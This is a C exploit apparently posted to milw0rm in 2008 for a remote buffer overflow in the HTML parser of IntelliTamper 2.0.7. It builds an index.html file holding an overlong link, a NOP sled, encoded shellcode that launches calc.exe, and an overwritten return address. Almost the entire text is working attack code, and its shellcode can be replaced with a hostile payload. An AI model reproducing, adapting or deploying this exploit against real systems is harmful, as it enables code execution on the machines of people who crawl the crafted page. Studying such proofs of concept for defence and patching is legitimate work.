IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow

/*
IntelliTamper 2.0.7 (html parser) Remote Buffer Overflow

Just a C version of Guido Landi's discovery.

Written by r0ut3r (writ3r [at] gmail.com)

kit:/home/r0ut3r/public_html # gcc -o intell intell.c
kit:/home/r0ut3r/public_html # ./intell
[+] Building payload
[+] Success writing to index.html
kit:/home/r0ut3r/public_html #
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
    FILE *fp;

    char payload[491]; /* 464 */

    /* calc.exe shellcode x86/alpha_mixed succeeded, final size 344 */
    unsigned char shellcode[] =
        "\xda\xc3\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
        "\x4a\x4a\x43\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58"
        "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
        "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c"
        "\x4d\x38\x47\x34\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47"
        "\x4c\x4c\x4b\x43\x4c\x44\x45\x42\x58\x45\x51\x4a\x4f\x4c\x4b"
        "\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a\x4b\x50"
        "\x49\x4c\x4b\x47\x44\x4c\x4b\x45\x51\x4a\x4e\x46\x51\x49\x50"
        "\x4d\x49\x4e\x4c\x4b\x34\x49\x50\x43\x44\x43\x37\x49\x51\x49"
        "\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44"
        "\x47\x54\x45\x54\x43\x45\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45"
        "\x51\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f"
        "\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31\x4a"
        "\x4b\x4c\x49\x51\x4c\x51\x34\x43\x34\x48\x43\x51\x4f\x50\x31"
        "\x4c\x36\x45\x30\x51\x46\x42\x44\x4c\x4b\x51\x56\x46\x50\x4c"
        "\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b"
        "\x45\x38\x43\x38\x4b\x39\x4c\x38\x4c\x43\x49\x50\x43\x5a\x50"
        "\x50\x43\x58\x4a\x50\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4c\x58"
        "\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4a\x47\x42\x43\x46"
        "\x5a\x51\x4c\x42\x57\x42\x49\x42\x4e\x42\x44\x42\x4f\x42\x57"
        "\x43\x43\x51\x4c\x43\x43\x44\x39\x43\x43\x43\x44\x43\x55\x42"
        "\x4d\x47\x43\x50\x32\x51\x4c\x43\x53\x45\x31\x42\x4c\x42\x43"
        "\x46\x4e\x45\x35\x44\x38\x42\x45\x43\x30\x45\x5a\x41\x41";

    char eip[4] = "\x23\x44\x06\x7d";

    char html[16] = "<a href='http://";
    char chtml[11] = "'>yahhh</a>";

    fp = fopen("index.html", "wb");
    if (fp == NULL)
    {
        perror("Failed opening index.html\n");
        return EXIT_FAILURE;
    }

    printf("[+] Building payload\n");
    memcpy(payload, html, sizeof(html));
    memset(payload+sizeof(html), 0x90, 116);
    memcpy(payload+sizeof(html)+116, shellcode, sizeof(shellcode));
    memcpy(payload+sizeof(html)+116+sizeof(shellcode)-1, eip, sizeof(eip));
    memcpy(payload+sizeof(html)+116+sizeof(shellcode)-1+sizeof(eip), chtml, sizeof(chtml));

    fprintf(fp, "%s", payload);
    if (fclose(fp) == 0)
        printf("[+] Success writing to index.html\n");
    else
        printf("[-] Failed writing to index.html\n");

    return 0;
}

// milw0rm.com [2008-07-23]